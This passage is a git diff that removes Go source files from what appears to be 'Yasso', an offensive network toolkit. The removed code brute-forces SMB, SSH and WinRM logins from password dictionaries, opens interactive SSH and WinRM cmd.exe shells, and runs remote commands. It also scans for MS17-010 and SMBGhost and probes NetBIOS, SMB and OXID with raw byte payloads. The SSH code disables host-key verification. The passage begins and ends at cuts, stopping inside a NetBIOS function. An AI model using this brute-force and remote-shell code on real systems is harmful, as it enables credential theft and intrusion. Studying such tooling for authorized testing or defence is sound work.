Short: "Smb burst module (not support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
BruteSmbByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func BruteSmbByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 445
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("smb", UserDic, PassDic)
|
||||
Println("[*] Brute Module [smb]")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("smb", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func SmbConn(info config.HostIn, user, pass string) (bool, error) {
|
||||
signal := make(chan struct{})
|
||||
var (
|
||||
flag bool
|
||||
err error
|
||||
)
|
||||
go func() {
|
||||
flag, err = DialSmbTimeOut(info, user, pass, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(1 * time.Second):
|
||||
return false, errors.New("smb conn time out")
|
||||
}
|
||||
}
|
||||
|
||||
func DialSmbTimeOut(info config.HostIn, user, pass string, signal chan struct{}) (bool, error) {
|
||||
var flag = false
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
User: user,
|
||||
Password: pass,
|
||||
Domain: info.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
}
|
||||
194
cmd/ssh.go
194
cmd/ssh.go
@@ -1,194 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"fmt"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
)
|
||||
|
||||
/*
|
||||
模块完成时间2021年12月28日,主要用于ssh爆破,连接,扫描22端口
|
||||
*/
|
||||
|
||||
var SshCmd = &cobra.Command{
|
||||
Use: "ssh",
|
||||
Short: "SSH burst and SSH extend tools (support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" && ConnHost == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
BruteSshByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
SshCmd.Flags().StringVar(&ConnHost, "hostname", "", "Open an interactive SSH at that address(brute param need false)")
|
||||
SshCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
|
||||
SshCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
|
||||
SshCmd.Flags().StringVar(&LoginPublicKey, "key", "", "ssh public key path")
|
||||
}
|
||||
|
||||
func BruteSshByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 22
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" && ConnHost == "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("ssh", UserDic, PassDic)
|
||||
//fmt.Println(users, pass)
|
||||
Println("[*] Brute Module [ssh]")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("ssh", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true {
|
||||
if LoginUser != "" && LoginPass != "" {
|
||||
client, status, err := SshConnByUser(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[-] Login ssh failed %v", err))
|
||||
return
|
||||
}
|
||||
if status == true {
|
||||
//认证成功
|
||||
SshLogin(client)
|
||||
} else {
|
||||
Println("[-] The username or password is incorrect")
|
||||
return
|
||||
}
|
||||
}
|
||||
if LoginPublicKey != "" && LoginUser != "" {
|
||||
client, status, err := sshConnByKey(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration, PublicKey: LoginPublicKey}, LoginUser)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[-] Login ssh failed %v", err))
|
||||
return
|
||||
}
|
||||
if status == true {
|
||||
//认证成功
|
||||
SshLogin(client)
|
||||
return
|
||||
} else {
|
||||
Println("[-] The username or password is incorrect")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == "") {
|
||||
Println("[*] May be you want login ssh? try to add user and (user' key) or (user' pass)")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func SshConnByUser(info config.HostIn, user, pass string) (*ssh.Client, bool, error) {
|
||||
// 走socks5代理的ssh连接
|
||||
sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.TimeOut}
|
||||
con, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Host, info.Port), sshConfig)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return ssh.NewClient(c, ch, re), true, err
|
||||
}
|
||||
|
||||
func sshConnByKey(info config.HostIn, user string) (*ssh.Client, bool, error) {
|
||||
var (
|
||||
err error
|
||||
HomePath string
|
||||
key []byte
|
||||
)
|
||||
switch {
|
||||
case info.PublicKey == "":
|
||||
HomePath, err = os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa"))
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
case info.PublicKey != "":
|
||||
key, err = ioutil.ReadFile(info.PublicKey)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
}
|
||||
signer, err := ssh.ParsePrivateKey(key)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
sshConfig := &ssh.ClientConfig{
|
||||
User: user,
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.PublicKeys(signer),
|
||||
},
|
||||
Timeout: info.TimeOut,
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
}
|
||||
con, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Host, info.Port), sshConfig)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return ssh.NewClient(c, ch, re), true, err
|
||||
}
|
||||
|
||||
// ssh 完全交互式登陆
|
||||
|
||||
func SshLogin(client *ssh.Client) {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("new ssh session failed %v", err))
|
||||
return
|
||||
}
|
||||
defer session.Close()
|
||||
session.Stdout = os.Stdout
|
||||
session.Stderr = os.Stderr
|
||||
session.Stdin = os.Stdin
|
||||
modes := ssh.TerminalModes{
|
||||
ssh.ECHO: 1,
|
||||
ssh.TTY_OP_ISPEED: 14400,
|
||||
ssh.TTY_OP_OSPEED: 14400,
|
||||
ssh.VSTATUS: 1,
|
||||
}
|
||||
fd := int(os.Stdin.Fd())
|
||||
oldState, err := terminal.MakeRaw(fd)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("terminal failed %v", err))
|
||||
}
|
||||
defer terminal.Restore(fd, oldState)
|
||||
w, h, err := terminal.GetSize(fd)
|
||||
if err = session.RequestPty("xterm-256color", h, w, modes); err != nil {
|
||||
Println(fmt.Sprintf("Session Request new xterm failed %v", err))
|
||||
return
|
||||
}
|
||||
if err = session.Shell(); err != nil {
|
||||
Println(fmt.Sprintf("Session start shell failed %v", err))
|
||||
return
|
||||
}
|
||||
if err = session.Wait(); err != nil {
|
||||
Println(fmt.Sprintf("Session wait failed %v", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
Binary file not shown.
147
cmd/tools.go
147
cmd/tools.go
@@ -1,147 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"github.com/olekukonko/tablewriter"
|
||||
"golang.org/x/net/proxy"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// socks5代理连接功能
|
||||
|
||||
func ConnBySOCKS5() (proxy.Dialer, error) {
|
||||
// 解析连接过来的socks5字符串
|
||||
if strings.ContainsAny(ProxyHost, "@") && strings.Count(ProxyHost, "@") == 1 {
|
||||
info := strings.Split(ProxyHost, "@")
|
||||
userpass := strings.Split(info[0], ":")
|
||||
auth := proxy.Auth{User: userpass[0], Password: userpass[1]}
|
||||
dialer, err := proxy.SOCKS5("tcp", info[1], &auth, proxy.Direct)
|
||||
return dialer, err
|
||||
} else {
|
||||
if strings.ContainsAny(ProxyHost, ":") && strings.Count(ProxyHost, ":") == 1 {
|
||||
dialer, err := proxy.SOCKS5("tcp", ProxyHost, nil, proxy.Direct)
|
||||
return dialer, err
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("proxy error")
|
||||
}
|
||||
|
||||
// 返回一个连接
|
||||
|
||||
func GetConn(addr string, timeout time.Duration) (net.Conn, error) {
|
||||
if ProxyHost != "" {
|
||||
dialer, err := ConnBySOCKS5()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
conn, err := dialer.Dial("tcp", addr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return conn, nil
|
||||
} else {
|
||||
return net.DialTimeout("tcp", addr, time.Duration(timeout))
|
||||
}
|
||||
}
|
||||
|
||||
func SQLExecute(db *sql.DB, q string) (*Results, error) {
|
||||
if q == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := db.Query(q)
|
||||
//rows, err := db.Query(q)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
columns, err := rows.Columns()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var results [][]string
|
||||
for rows.Next() {
|
||||
rs := make([]sql.NullString, len(columns))
|
||||
rsp := make([]interface{}, len(columns))
|
||||
for i := range rs {
|
||||
rsp[i] = &rs[i]
|
||||
}
|
||||
if err = rows.Scan(rsp...); err != nil {
|
||||
break
|
||||
}
|
||||
|
||||
_rs := make([]string, len(columns))
|
||||
for i := range rs {
|
||||
_rs[i] = rs[i].String
|
||||
}
|
||||
results = append(results, _rs)
|
||||
}
|
||||
if closeErr := rows.Close(); closeErr != nil {
|
||||
return nil, closeErr
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Results{
|
||||
Columns: columns,
|
||||
Rows: results,
|
||||
}, nil
|
||||
}
|
||||
|
||||
type Results struct {
|
||||
Columns []string
|
||||
Rows [][]string
|
||||
}
|
||||
|
||||
func (r *Results) String() string {
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tablewriter.NewWriter(buf)
|
||||
table.SetHeader(r.Columns)
|
||||
table.AppendBulk(r.Rows)
|
||||
table.Render()
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func SQLshell(db *sql.DB, sqltype string) {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
Println(fmt.Sprintf("Welcome to Yasso sql client "))
|
||||
for {
|
||||
fmt.Printf("Yasso-%s> ", sqltype)
|
||||
sqlstr, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
log.Panic("failed to ReadString ", err)
|
||||
}
|
||||
sqlstr = strings.Trim(sqlstr, "\r\n")
|
||||
sqls := []byte(sqlstr)
|
||||
if len(sqls) > 6 {
|
||||
if string(sqls[:6]) == "select" || string(sqls[:4]) == "show" || string(sqls[:4]) == "desc" {
|
||||
//result set sql
|
||||
r, err := SQLExecute(db, sqlstr)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("%v", err))
|
||||
}
|
||||
Println(fmt.Sprintf("%v", r))
|
||||
} else {
|
||||
//no result set sql
|
||||
r, err := SQLExecute(db, sqlstr)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("%v", err))
|
||||
}
|
||||
Println(fmt.Sprintf("%v", r))
|
||||
}
|
||||
}
|
||||
if sqlstr == "exit" {
|
||||
Println("exit sql shell")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var versionCmd = &cobra.Command{
|
||||
Use: "version",
|
||||
Short: "Print Yasso's version in screen",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
Println("Yasso Version is 0.1.2")
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
rootCmd.AddCommand(versionCmd)
|
||||
}
|
||||
78
cmd/vuln.go
78
cmd/vuln.go
@@ -1,78 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"fmt"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"github.com/spf13/cobra"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// smbghost eternalblue
|
||||
var (
|
||||
ms17010bool bool
|
||||
smbGohstbool bool
|
||||
allbool bool
|
||||
)
|
||||
var VulCmd = &cobra.Command{
|
||||
Use: "vulscan",
|
||||
Short: "Host Vulnerability Scanning (support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
var ips []string
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
if Hosts != "" {
|
||||
ips, _ = ResolveIPS(Hosts)
|
||||
} else {
|
||||
Println("Yasso scanner need a hosts")
|
||||
return
|
||||
}
|
||||
if smbGohstbool == true || ms17010bool == true || allbool == true {
|
||||
Println(fmt.Sprintf("[Yasso] will scan %d host", len(ips)))
|
||||
}
|
||||
VulScan(ips, ms17010bool, allbool, smbGohstbool)
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
VulCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
|
||||
VulCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy")
|
||||
VulCmd.Flags().BoolVar(&smbGohstbool, "gs", false, "scan smbghost")
|
||||
VulCmd.Flags().BoolVar(&ms17010bool, "ms", false, "scan ms17010")
|
||||
VulCmd.Flags().BoolVar(&allbool, "all", true, "scan all vuln contains ms17010,smbghost")
|
||||
rootCmd.AddCommand(VulCmd)
|
||||
}
|
||||
|
||||
func VulScan(ips []string, ms17010bool bool, allbool bool, smbGohstbool bool) {
|
||||
var wg sync.WaitGroup
|
||||
|
||||
p, _ := ants.NewPoolWithFunc(len(ips), func(ip interface{}) {
|
||||
if ms17010bool == true || allbool == true {
|
||||
Ms17010Conn(config.HostIn{
|
||||
Host: ip.(string),
|
||||
Port: 445,
|
||||
TimeOut: TimeDuration,
|
||||
})
|
||||
}
|
||||
if smbGohstbool == true || allbool == true {
|
||||
SmbGhostConn(config.HostIn{
|
||||
Host: ip.(string),
|
||||
Port: 445,
|
||||
TimeOut: TimeDuration,
|
||||
})
|
||||
}
|
||||
wg.Done()
|
||||
})
|
||||
|
||||
for _, ip := range ips {
|
||||
if strings.Contains(ip, ":") && !strings.Contains(ip, ":445") {
|
||||
continue
|
||||
}
|
||||
wg.Add(1)
|
||||
_ = p.Invoke(ip)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
116
cmd/winrm.go
116
cmd/winrm.go
@@ -1,116 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"fmt"
|
||||
"github.com/masterzen/winrm"
|
||||
"github.com/spf13/cobra"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
)
|
||||
|
||||
var WinRMCmd = &cobra.Command{
|
||||
Use: "winrm",
|
||||
Short: "winrm burst and extend tools (support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" && ConnHost == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
WinBurpByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
WinRMCmd.Flags().StringVar(&ConnHost, "hostname", "", "Open an interactive SSH at that address(brute param need false)")
|
||||
WinRMCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
|
||||
WinRMCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
|
||||
WinRMCmd.Flags().BoolVar(&WinRMbool, "shell", false, "Get a cmd shell with WinRM")
|
||||
WinRMCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "Execute system command")
|
||||
}
|
||||
|
||||
func WinBurpByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 5985
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm 和 rdp认证相同
|
||||
Println("[*] Brute Module [winrm]")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("winrm", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" {
|
||||
auth, b, err := WinRMAuth(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] WinRM Auth Failed %v", err))
|
||||
return
|
||||
}
|
||||
if SQLCommand != "" && b == true {
|
||||
WinRMShell(auth, SQLCommand, false)
|
||||
}
|
||||
if WinRMbool == true && b == true {
|
||||
WinRMShell(auth, "", true)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func WinRMAuth(info config.HostIn, user, pass string) (*winrm.Client, bool, error) {
|
||||
var err error
|
||||
params := winrm.DefaultParameters
|
||||
// 设置代理认证
|
||||
params.Dial = func(network, addr string) (net.Conn, error) {
|
||||
return GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
|
||||
}
|
||||
// 设置输入
|
||||
endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0)
|
||||
client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
|
||||
stdout := os.Stdout
|
||||
res, err := client.Run("echo ISOK > nul", stdout, os.Stderr)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
if res == 0 && err == nil {
|
||||
return client, true, nil
|
||||
}
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
func WinRMShell(client *winrm.Client, Command string, shell bool) {
|
||||
if shell == true {
|
||||
shell, err := client.CreateShell()
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] create shell failed %v", err))
|
||||
return
|
||||
}
|
||||
var cmd *winrm.Command
|
||||
cmd, err = shell.Execute("cmd.exe")
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] create shell failed %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
go io.Copy(cmd.Stdin, os.Stdin)
|
||||
go io.Copy(os.Stdout, cmd.Stdout)
|
||||
go io.Copy(os.Stderr, cmd.Stderr)
|
||||
cmd.Wait()
|
||||
shell.Close()
|
||||
} else {
|
||||
_, err := client.Run(Command, os.Stdout, os.Stderr)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] Execute Command failed %v", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
552
cmd/winscan.go
552
cmd/winscan.go
@@ -1,552 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/spf13/cobra"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var netbiosflag bool
|
||||
var smbflag bool
|
||||
var oxidflag bool
|
||||
var allflag bool
|
||||
|
||||
var WinCmd = &cobra.Command{
|
||||
Use: "winscan",
|
||||
Short: "netbios、smb、oxid scan",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
var ips []string
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
if Hosts != "" {
|
||||
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
|
||||
} else {
|
||||
Println("Yasso scanner need a hosts")
|
||||
return
|
||||
}
|
||||
Println(fmt.Sprintf("[Yasso] will scan %d host", len(ips)))
|
||||
winscan(ips, allflag)
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
rootCmd.AddCommand(WinCmd)
|
||||
WinCmd.Flags().BoolVar(&smbflag, "smb", false, "Set smb flag and use smb scan")
|
||||
WinCmd.Flags().BoolVar(&netbiosflag, "netbios", false, "Set netbios flag and use netbios scan")
|
||||
WinCmd.Flags().BoolVar(&oxidflag, "oxid", false, "Set oxid flag and use oxid scan")
|
||||
WinCmd.Flags().BoolVar(&allflag, "all", true, "Set all flag and use oxid,netbios,smb scan")
|
||||
WinCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
|
||||
WinCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set net conn timeout")
|
||||
WinCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy and use it")
|
||||
}
|
||||
|
||||
func winscan(host []string, allay bool) {
|
||||
if netbiosflag == true {
|
||||
NbtScan(host)
|
||||
} else if smbflag == true {
|
||||
SmbScan(host)
|
||||
} else if oxidflag == true {
|
||||
OxidScan(host)
|
||||
} else if allay == true {
|
||||
runall(host)
|
||||
} else {
|
||||
Println("[*] Your need set netbios、smb、oxid flag")
|
||||
}
|
||||
}
|
||||
|
||||
var oxidQuery1 = [...]byte{
|
||||
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10,
|
||||
0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a, 0x00, 0x00,
|
||||
0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
|
||||
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00,
|
||||
0x00, 0x00,
|
||||
}
|
||||
|
||||
var oxidQuery2 = [...]byte{
|
||||
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x05, 0x00,
|
||||
}
|
||||
|
||||
func ConncetNbios(ip string, port int) (string, int, error, []string) {
|
||||
nbname, err := netBios(ip)
|
||||
if nbname.msg != "" {
|
||||
return ip, port, nil, []string{nbname.msg}
|
||||
}
|
||||
return ip, port, err, nil
|
||||
}
|
||||
|
||||
var smbQuery = [...]byte{
|
||||
0x00, 0x00, 0x00, 0xa4, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x40,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x06,
|
||||
0x00, 0x00, 0x01, 0x00, 0x00, 0x81, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
|
||||
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
|
||||
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
|
||||
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
|
||||
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
|
||||
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
|
||||
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54,
|
||||
0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20,
|
||||
0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00,
|
||||
}
|
||||
|
||||
var (
|
||||
UNIQUE_NAMES = map[string]string{
|
||||
"\x00": "Workstation Service",
|
||||
"\x03": "Messenger Service",
|
||||
"\x06": "RAS Server Service",
|
||||
"\x1F": "NetDDE Service",
|
||||
"\x20": "Server Service",
|
||||
"\x21": "RAS Client Service",
|
||||
"\xBE": "Network Monitor Agent",
|
||||
"\xBF": "Network Monitor Application",
|
||||
"\x1D": "Master Browser",
|
||||
"\x1B": "Domain Master Browser",
|
||||
}
|
||||
|
||||
GROUP_NAMES = map[string]string{
|
||||
"\x00": "Domain Name",
|
||||
"\x1C": "Domain Controllers",
|
||||
"\x1E": "Browser Service Elections",
|
||||
}
|
||||
|
||||
NetBIOS_ITEM_TYPE = map[string]string{
|
||||
"\x01\x00": "NetBIOS computer name",
|
||||
"\x02\x00": "NetBIOS domain name",
|
||||
"\x03\x00": "DNS computer name",
|
||||
"\x04\x00": "DNS domain name",
|
||||
"\x05\x00": "DNS tree name",
|
||||
"\x07\x00": "Time stamp",
|
||||
}
|
||||
)
|
||||
|
||||
type NbnsName struct {
|
||||
unique string
|
||||
group string
|
||||
msg string
|
||||
osversion string
|
||||
}
|
||||
|
||||
func netBios(host string) (nbname NbnsName, err error) {
|
||||
nbname, err = getNbnsname(host)
|
||||
var payload0 []byte
|
||||
if err == nil {
|
||||
name := netbiosEncode(nbname.unique)
|
||||
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
|
||||
payload0 = append(payload0, name...)
|
||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", host, 139)
|
||||
conn, err := GetConn(realhost, TimeDuration)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(TimeDuration))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(payload0) > 0 {
|
||||
_, err1 := conn.Write(payload0)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
_, err1 = readbytes(conn)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
